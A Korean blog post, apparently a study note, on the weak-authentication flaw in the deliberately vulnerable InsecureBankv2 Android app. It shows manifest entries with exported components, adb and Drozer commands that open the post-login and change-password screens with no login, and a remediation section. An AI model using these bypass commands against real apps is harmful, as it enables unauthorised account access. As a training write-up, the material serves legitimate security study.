티스토리 뷰
[ 취약한 인증 메커니즘]
: 정상적인 인증 절차를 우회해 비정상적인 인증으로 접근 권한을 취득하는 취약점
OWASP Mobile Top 10 2014-M5에 해당하는 취약점으로, 일반적으로 다음과 같은 경우에 해당
- 적절하지 않은 앱 퍼미션 설정 여부
- 서비스 권한 상승 행위에 대한 통제 여부
- 기능에 대한 제한 또는 우회 금지 여부
- 불필요하거나 사용하지 않는 액티비티 제거 여부
- 인텐드 사용에 대한 안전성 여부
- 마스터 키 취약점 대응 여부
< 취약점 진단 과정 >
AndroidManifest.xml 코드 일부
<activity
android:name=".FilePrefActivity"
android:label="@string/title_activity_file_pref"
android:windowSoftInputMode="stateVisible|adjustResize|adjustPan">
</activity>
<activity
android:name=".DoLogin"
android:label="@string/title_activity_do_login" >
</activity>
<activity
android:name=".PostLogin"
android:exported="true"
android:label="@string/title_activity_post_login" >
</activity>
<activity
android:name=".WrongLogin"
android:label="@string/title_activity_wrong_login" >
</activity>
<activity
android:name=".DoTransfer"
android:exported="true"
android:label="@string/title_activity_do_transfer" >
</activity>
<activity
android:name=".ViewStatement"
android:exported="true"
android:label="@string/title_activity_view_statement" >
</activity>
<provider
android:name=".TrackUserContentProvider"
android:authorities="com.android.insecurebankv2.TrackUserContentProvider"
android:exported="true" >
</provider>
<receiver
android:name=".MyBroadCastReceiver"
android:exported="true" >
<intent-filter>
<action android:name="theBroadcast" >
</action>
</intent-filter>
</receiver>
<activity
android:name=".ChangePassword"
android:exported="true"
android:label="@string/title_activity_change_password" >
</activity>
안드로이드 액티비티의 속성이 anroid:exported="true"로 설정되어 있는 것을 확인 할 수 있다.
이 경우 다른 액티비티에서 인증 없이 접근 할 수 있다.
1) ADB 이용
adb shell am start [앱이 설치된 주소] / [호출하고 싶은 패키지 주소] |
adb shell am start com.android.insecurebankv2/com.android.insecurebankv2.PostLogin
위 명령어 입력시 로그인 없이 인증을 무시하고 바로 로그인이 완료된 액티비티를 호출 할 수 있다.
adb shell am start com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword
위 명령어 입력시 로그인 없이 인증을 무시하고 바로 비밀번호 변경 액티비티를 호출 할 수 있다.
2) Drozer 이용
1. 앱의 Activity 확인
run app.activity.info -a com.android.insecurebankv2
2. Activity 실행
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin
< 대응 방안 >
1. android:exported="true"를 false로 설정
컴포넌트에 대한 접근은 외부에 허락하지 않는 것이 안전.
설정 값이 false이면 이 액티비티는 같은 앱 or 같은 유저 ID를 가진 앱의 컴포넌트만 불러올 수 있다.
만약 true로 설정할 경우 별도의 intent-filter로 검증한다.
인증 취약점은 진단 과정에서 살펴본 액티비티 취약점 이외의 앱에 인증을 우회할 수 있는 다양한 방법이 존재하므로
소프트웨어 개발 시 안전하게 처리하는 것이 중요하다.
'Security Study > Android' 카테고리의 다른 글
[InsecureBankv2] 액티비티 컴포넌트 취약점 (0) | 2023.01.20 |
---|---|
[InsecureBankv2] 로컬 암호화 이슈 (0) | 2023.01.20 |
[InsecureBankv2] 브로드캐스트 리시버 결함 (0) | 2023.01.20 |
[Bytecode Viewer] 실행 방법 (0) | 2023.01.13 |
[InsecureBankv2] adb 버전으로 인한 앱 설치 오류 해결 방법 (0) | 2023.01.13 |
- Total
- Today
- Yesterday
- 드림핵
- cheatengine
- 스테가노그래피
- reversing
- 모바일
- sqlinjection
- 취약점
- rev
- MISC
- Cookie
- Android
- FTKImager
- web
- networking
- 포렌식
- 해킹
- dreamhack
- CTF
- SQLi
- 인시큐어뱅크
- md5
- Fiesta
- AssaultCube
- Steganography
- 안드로이드
- forensic
- forensics
- 리버싱
- mongodb
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |